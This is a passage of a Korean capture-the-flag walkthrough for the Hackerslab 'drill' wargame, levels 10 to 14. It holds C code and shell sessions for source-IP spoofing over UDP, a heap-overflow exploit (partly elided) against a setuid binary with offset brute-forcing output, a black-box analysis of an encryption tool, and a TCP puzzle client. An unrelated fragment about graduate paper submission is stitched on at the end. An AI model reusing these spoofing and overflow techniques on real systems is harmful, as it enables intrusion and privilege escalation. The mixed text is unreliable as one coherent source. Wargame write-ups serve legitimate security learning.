      bytes_sent = sendto(sockfd, msg, len, 0, (struct sockaddr *)&dest_addr,sizeof(struct sockaddr));
      printf(" sent bytes : %d\n", bytes_sent);
      printf("###############################################\n\n");
      close(sockfd);

      }
      ^D

      [bluesky@bluestar bluesky]$cc -o socket socket.c
      [bluesky@bluestar bluesky]$su
      Password:xxxxxxxx

      [IP aliasing... root 권한 필요...]
      [bluesky@bluestar bluesky]#ifconfig ppp0 203.239.110.1 up <-- PPP 사용자인 경우(Real PPP)

      [bluesky@bluestar bluesky]./socket
      ###############################################
      sent message : level10's password/ingots@nownuri.net
      dest address : 203.239.110.20
      sent bytes : 35 <-- -1이면 정상적으로 전송되지 못하였거나 서버가..죽은 경우이다..
      ###############################################
      [bluesky@bluestar bluesky]$

      이제 메일이 오기를 기다리면 된다.. 패킷이 정상적으로 보내졌다면..메일은 바로 온다.
      drill 서버가 우리가 보낸 패킷이 www.hackerslab.org(203.239.110.1)에서 온 것처럼 수신했는가는 listener를 작성하여 drill에 띄워서 확인이 가능하다. 아래에 listener.c를 보기바란다..
      (이 listener.c를 drill에서 작성하여 컴파일 한후 띄워놓은 후 패킷을 보내 확인 할 수 있다.)

      [level10@drill tmp]$cat > listener.c
      #include < stdio.h>
      #include < stdlib.h>
      #include < errno.h>
      #include < string.h>
      #include < sys/types.h>
      #include < netinet/in.h>
      #include < sys/socket.h>
      #include < sys/wait.h>

      #define MYPORT 5555
      #define MAXBUFLEN 100

      main()
      {
      int sockfd;
      struct sockaddr_in my_addr; /* my address information */
      struct sockaddr_in their_addr; /* connector's address information */
      int addr_len, numbytes;
      char buf[MAXBUFLEN];

      if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
      perror("socket");
      exit(1);
      }
      my_addr.sin_family = AF_INET; /* host byte order */
      my_addr.sin_port = htons(MYPORT); /* short, network byte order */
      my_addr.sin_addr.s_addr = INADDR_ANY; /* auto-fill with my IP */
      bzero(&(my_addr.sin_zero), 8); /* zero the rest of the struct */

      if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) {
      perror("bind");
      exit(1);
      }

      addr_len = sizeof(struct sockaddr);
      if ((numbytes=recvfrom(sockfd, buf, MAXBUFLEN, 0, (struct sockaddr *)&their_addr, &addr_len)) == -1) {
      perror("recvfrom");
      exit(1);
      }

      printf("got packet from %s\n",inet_ntoa(their_addr.sin_addr));
      printf("packet is %d bytes long\n",numbytes);
      buf[numbytes] = '\0';
      printf("packet contains \"%s\"\n",buf);

      close(sockfd);
      }
      ^D
      [level10@drill tmp]$cc -o listener listener.c
      [level10@drill tmp]$./listener
      got packet from 203.239.110.1
      packet is 35 bytes
      packet contains level10's password/ingots@nownuri.net

      제대로 보냈다면..위와같이 표시될 것이다...

      SOCK_RAW를 이용해서 패킷속에 우리의 IP를 203.239.110.1이라고 써 넣은 방법은??
      그러면 위의 ifconfig 부분이 필요가 없을 듯도..좀더 공부를 해야..특특..


    12. 레벨11 -> 레벨12 패스워드 <문제>
      /usr/local/bin/hof라는 프로그램은 /usr/local/bin/passwd.fail 화일을 보여준다. 하지만 우리가 원하는 파일은 /usr/local/bin/passwd.success 라는 파일로 그 파일에는 다음 레벨로 올라갈 수 있는 패스워드가 저장되어 있다. 힙 영역을 이용하면 가장 쉽게 가능하다.

      <힌트>

      <레벨업>
      이번 문제는 힙 오버플로우(Heap based Overflow)를 이용한 해킹방법이다. 레벨9에서 보았듯이..버퍼 오버플로우에 의한 해킹기법이 소개되면서 이를 이용한 많은 해킹이 일어나 문제가 발생하자..이에 대해 아래와 같은 해결책들이 나오게 되었다.


      - Stack based Overflow에 대한 해결책 -

      attacker가 버퍼 오버플로우에 의한 공격에 성공하기 위해서는 다음 세가지의 조건을 만족해야 한다.
      1. victim program's address space의 실행가능한(!!) 영역에 공격 code를 집어 넣어야 한다.
      2. buffer overflow 방법을 사용해서 적정한 code pointer의 값을 바꿔야 한다. code pointer로는 다음과 같은 것들이 사용될 수 있다.
      • return address in an activation record
      • function pointer
      • longjmp buffer
      3. victim program이 이 바뀐 code pointer를 실행시키길 기다린다.
      즉, 위의 조건들이 충족되지 않으면 공격은 실패하는 것이다. 그래서 이를 이용한 아래의 두가지 해결책이 나오게 되었다.

      1. The Mechanism of StackGuard
      StackGuard는 stack에 저장된 return address가 바뀌는 것을 감시한다. 이는 함수가 호출되면 return address뒤에 canary(밀고자) value를 set해주는데 함수가 return될 때 canary value가 바뀌어 있으면 stack smashing attack이 실행된 것으로 간주하고 syslog에 기록을 하고 프로그램을 정지 시킨다.
      이 과정이 효과적으로 진행되기 위해서는 attacker가 이 canary value를 미리 예측하고서 string에 끼워 넣는 것을 막아야 한다. 그래서 다음과 같은 technique을 사용한다.

      - Random canaries : 프로그램의 runtime 때마다 canary value를 바꿔 줘서, 이전에 실행시켜서 얻은 canary값을 다시 사용하지 못하게 한다.
      - Null canary : attacker가 그의 string에 0x00은 절대로 넣을 수 없다는 것을 이용한 방법이다.
      - Terminator canary : 대부분의 string operation이 NULL에서 끝나기는 하지만 NULL에서 끝나지 않는 몇몇 함수의 terminator value (i.e. 0xFF(-1))을 사용한다. 즉 NULL, CR, LF, -1 등을 조합해서 canary value를 만든다.

      StackGuard는 gcc code generator의 patch형태로 작용한다.
      function_prolog() -> function이 시작할 때 canary를 집어 넣는다.
      function_epilog() -> function이 return 될 때 canary를 확인한다.

      2. Secure Linux - Kernel patch
      대부분의 stack based overflow는 stack에 저장된 함수의 return address를 바꿔서 어떠한 임의의 코드 (이 역시 stack에 저장되어 있는) 를 실행시키는 방법을 사용한다. 만약 stack area가 non executable 하다면 buffer overflow는 더 힘들어 질 것이다. 즉 stack area를 non-executable하도록 patch해준다.

      또 다른 buffer overflow는 함수의 return address를 libc의 system()을 가리키도록 하는데 이 patch는 그러한 공유된 library내의 함수들의 default 값들을 항상 NULL값이 들어가도록 고쳤다. 따라서 위 NULL canary value와 같은 역할을 한다.


      위와 같은 버퍼 오버 플로우에 대한 해결책들이 나오자 이번에는 Heap based Overflow에 의한 해킹기법이 나오게 되었다.
      이에 대한 글은 w00w00 on Heap Overflows/ [한글판은 여기를 클릭..]을 보기 바란다..

      위의 글을 보면 heap overflow에 대한 자세한 설명과 소스가 있으므로 exploit 소스는 작성한 것으로 간주하고, 이제 drill에 접속해서 렙12의 패스워드를 얻는 과정을 보자.

      [level11@drill level11]$cd tmp
      [level11@drill tmp]$mkdir jkp
      [level11@drill tmp]$cd jkp
      [level11@drill jkp]$find / -user level12 -group level11 -print
      /usr/local/bin/hof
      [level11@drill jkp]$ls -l /usr/local/bin/hof
      -rws--x--- 1 level12 level11 924592 Aug 12 12:53 /usr/local/bin/hof
      [level11@drill jkp]$ln -s /usr/local/bin/hof hof
      [level11@drill jkp]$cat > exploit.c
      #include < stdio.h>
      #include < stdlib.h>
      #include < unistd.h>
      #include < string.h>

      #define BUFSIZE 256
      #define ERROR -1

      #define DIFF 16
      #define VULPROG "./hof" <-- 공격대상 화일
      #define VULFILE "/usr/local/bin/passwd.success" <--/*the file 'buf' will be stored in */

      u_long getesp()
      {
      __asm__("movl %esp,%eax");
      }

      int main(int argc, char **argv)
      {
      u_long addr;
      ...... 중략..
      ......
      ^D

      [level11@drill jkp]$cc -o exploit exploit.c
      [level11@drill jkp]$ ls -l
      total 17
      -rwxrwxr-x 1 level11 level11 13367 Jan 12 05:02 exploit
      -rw-rw-r-- 1 level11 level11 1716 Jan 12 05:02 exploit.c
      lrwxrwxrwx 1 level11 level11 18 Jan 12 05:00 hof -> /usr/local/bin/hof

      [level11@drill jkp]$./hof
      level11's Password : xxxxxxxxxxxxxxxxx
      Segmentation fault

      [level11@drill jkp]$ ./exploit 364
      Overflowing tmpaddr to point to 0xbffffecc, check /usr/local/bin/passwd.success after.

      level11's Password :
      view_file = ./hof
      ELF

      [level11@drill jkp]$ ./exploit 365
      Overflowing tmpaddr to point to 0xbffffecd, check /usr/local/bin/passwd.success after.

      level11's Password :
      view_file = /hof
      error opening /hof: No such file or directory

      [level11@drill jkp]$ ./exploit 366
      Overflowing tmpaddr to point to 0xbffffece, check /usr/local/bin/passwd.success after.

      level11's Password :
      view_file = hof
      ELF

      [level11@drill jkp]$ ./exploit 369
      Overflowing tmpaddr to point to 0xbffffed1, check /usr/local/bin/passwd.success after.

      level11's Password :
      view_file =
      error opening : No such file or directory

      [level11@drill jkp]$ ./exploit 370
      Overflowing tmpaddr to point to 0xbffffed2, check /usr/local/bin/passwd.success after.

      level11's Password :
      view_file = /usr/local/bin/passwd.success

      패스워드 : x xxxx xx xxxx forever

      [level11@drill jkp]$ ./exploit 371
      Overflowing tmpaddr to point to 0xbffffed3, check /usr/local/bin/passwd.success after.

      level11's Password :
      view_file = usr/local/bin/passwd.success
      error opening usr/local/bin/passwd.success: No such file or directory

      [level11@drill jkp]$ ./exploit 372
      Overflowing tmpaddr to point to 0xbfffed4, check /usr/local/bin/passwd.success after.

      level11's Password :
      view_file = sr/local/bin/passwd.success
      error opening sr/local/bin/passwd.success: No such file or directory

    13. 레벨12 -> 레벨13 패스워드 <문제>
      여러분의 hope 뛰어난 능력의 소유자인 서군은 해커스랩 관리자들이 level13으로 로긴할 때 sniffer를 돌려 통신 내용을 캡쳐하였다. 그러나 관리자들은 직접 고안한 알고리즘으로 비밀 통신을 하고 있어서 도무지 레벨13의 실제 패스워드가 무엇인지는 알 수 없었다. (그 level13의 패스워드는 tu|tSI/Z^로 암호화 되어 있었다.)
      불행중 다행으로 서군은 시스템을 뒤지던 중 관리자들이 암호화 할 때 쓰는 툴이 /usr/bin/encrypt 에 있음을 발견하였다. 여러분은 서군이 발견한 encrypt를 테스트하여 암호화 알고리즘을 분석한 뒤 해독 알고리즘을 구현하여 level13의 실제 패스워드를 알아내시오

      <힌트>

      <레벨업>
      이번 문제는 지금까지 해온 SUID나 race condition/buffer overflow/heap overflow/IP spoofing 등과는 관계가 없다..
      암호화하는 툴인 encrypt를 여러가지로 테스트 해서 tu|tSI/Z^로 암호화 되는 문자를 역추적하는 문제이다..encrypt 툴의 알고리즘을 완벽하게 분석하여 해독 알고리즘을 구현하여 푸는 문제이지만, 해독 알고리즘까지 구현하는 것은 나중에 각자 해보도록 하자..

      [level12@drill tmp]$find / -user level13 -group level12 -print
      /usr/bin/encrypt
      [level12@drill tmp]$ls -l /usr/bin/encrypt
      -rwxr-x--- 1 level13 level12 13781 Aug 10 15:15 /usr/bin/encrypt <-- suid 비트가 없다.
      [level12@drill tmp]$ln -s /usr/bin/encrypt enc

      [level12@drill tmp]$./enc aaaaaaaaa
      encrypted character: 'GGGBBB-SS'
      [level12@drill tmp]$./enc aaa1aaaaa
      encrypted character:'tGGBBB-SS'
      [level12@drill tmp]$./enc aaaa2aaaa
      encrypted character: 'GuGBBB-SS'
      [level12@drill tmp]$./enc aaaaa9aaa
      encrypted character: 'GG|BBB-SS'
      [level12@drill tmp]$./enc aaa129aaa
      encrypted character: 'tu|BBB-SS'

      [level12@drill tmp]$./enc caa129aaa
      encrypted character: 'tu|BBB/SS'
      [level12@drill tmp]$./enc cha129aaa
      encrypted character: 'tu|BBB/ZS'
      [level12@drill tmp]$./enc chl129aaa
      encrypted character: 'tu|BBB/Z^'
      [level12@drill tmp]$./enc chl129aaa
      encrypted character: 'tu|BBB/Z^'

      [level12@drill tmp]$
      .....
      .....
      [level12@drill tmp]$./enc xxxxxxxxx
      encrypted character: 'tu|tSI/Z^'

      ^_^..
    14. 레벨13 -> 레벨14 패스워드 <문제>
      레벨14 문제
      이번 문제는 TCP/IP Networking을 이용해 통신을 할 수 있는가 하는 능력과..약간의 수학적 지식을 이용하는 문제입니다.. 자세한 문제설명을 위에 있구요..

      <힌트>

      <레벨업>
      TCP/IP Networking을 이용한 통신은 레벨10에서 어느정도 내용을 아셨을 겁니다..이번 레벨에서는 그걸 조금더 확장하는 문제입니다..(소켓 프로그래밍..을 자세히 읽어보세요..) drill 서버 2994 포트로 접속해서..문제를 받고 정답을 구해서..서버로 보내고..이런 과정을 세번 연속해서 맞추면 서버로부터 렙14의 패스워드가 옵니다..아래는 제가 작성한 client 프로그램입니다..아직 TCP/IP 프로그래밍을 많이 모르긴 하지만 참고하세요..

      [bluesky@bluestar bluesky]$cat > client.c
      #include < stdio.h>
      #include < stdlib.h>
      #include < errno.h>
      #include < string.h>
      #include < sys/types.h>
      #include < netinet/in.h>
      #include < sys/socket.h>
      #include < sys/wait.h>
      #include "proto.h"

      #define DEST_IP "203.239.110.20"
      #define DEST_PORT 2994
      #define BACKLOG 10

      main()
      {
      int i = 1, j = 1;
      int sockfd, new_fd;
      int len, bytes_sent, bytes_recv;
      struct sockaddr_in dest_addr;
      struct query_type qu;
      struct reply_type re;

      if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
      {
      perror("socket error!!!");
      exit(1);
      }

      .... 중략 ..

      if (connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr)) == -1) {
      perror("connect error!!!");
      exit(1);
      }
      printf(" 서버(%s: port 2994)에 연결이 되었습니다...\n", inet_ntoa(dest_addr.sin_addr));

      for (i=1; i<=3; i++) {
      if(!fork()) { /* this is the child process */
      if ((bytes_recv = recv(sockfd, &qu, sizeof(qu), 0)) == -1) {
      perror("recv error!!!");
      exit(1);
      }

      printf(" Received query(query_a) : %d\n", qu.query_a);
      printf(" Received query(query_b) : %d\n", qu.query_b);
      printf(" Received query(next_pass): (%d)%s\n", qu.flag, qu.next_pass);

      strcpy(re.current_pass, "chl1296rh");

      /* 서버로 부터받은 query_a/b를 dist로 넘겨 답을 구한후 re.answer로 */
      re.answer = dist(qu.query_a, qu.query_b);
      if ((bytes_sent = send(sockfd, &re, sizeof(re), 0)) == -1) {
      perror("sendto error!!!");
      exit(1);
      }
      }
      }
      close(sockfd);
      }

      int dist( int a, int b)
      {
      .....
      .....
      ^D
      [bluesky@bluestar bluesky]$

      수학문제 알고리즘 및 dist( )함수는 이곳을 참고하세요..알고리즘에 약간의 문제가 있어서..client를 여러번 시도해야 연속 세번을 맞추네여..^_^ 시간날 때 제대로 고쳐야져..다른 알고리즘을 생각해 보던가..특특...
      다른 알고리즘..(이건 다른분이 하신겁니다..)

      [bluesky@bluestar bluesky]$cc -o client client.c
      [bluesky@bluestar bluesky]$su
      Password:xxxxxxxx
      [bluesky@bluestar bluesky]#./client
      서버(203.239.110.20: port 2994)에 연결이 되었습니다...
      Received query(query_a) : 8381
      Received query(query_b) : 8898
      Received query(next_pass): (query_flag:0)
      최단거리(8898~8381=>8381~8587) = 107

      Received query(query_a) : 1491
      Received query(query_b) : 625
      Received query(next_pass): (query_flag:0)
      최단거리(1491~625=>617~625) = 16

      Received query(query_a) : 2000
      Received query(query_b) : 4343
      Received query(next_pass): (query_flag:0)
      최단거리(4343~2000=>2000~2029) = 41

      Received query(query_a) : 0
      Received query(query_b) : 0
      Received query(next_pass): (query_flag:1)Hxxxxxxxxxxxx
      최단거리(0~0) = 0
      [bluesky@bluestar bluesky]#
    15. 레벨14 -> 레벨15 패스워드 <문제>
      아직 안나오네요...조금만 더 기다려 주세엽..

      <힌트>

      <레벨업>


--- 끝입니다..다음 레벨을 기다리면서.. ^_^ ---

대학원생의 투고 지도 ④ (완결) — 논문의 수준이란 무엇인가: 사다리와 사분위, 첫 논문 전략

완결편이다. "논문 수준"이라는 말을 해부하고, 에듀테크 석사생의 첫 논문 전략으로 마친다. 학위논문과 학술지 논문은 다른 장르다 먼저 가장 흔한 혼동부터. 학위논문(thesis)은 "내가 연구를 수행할 줄 안다...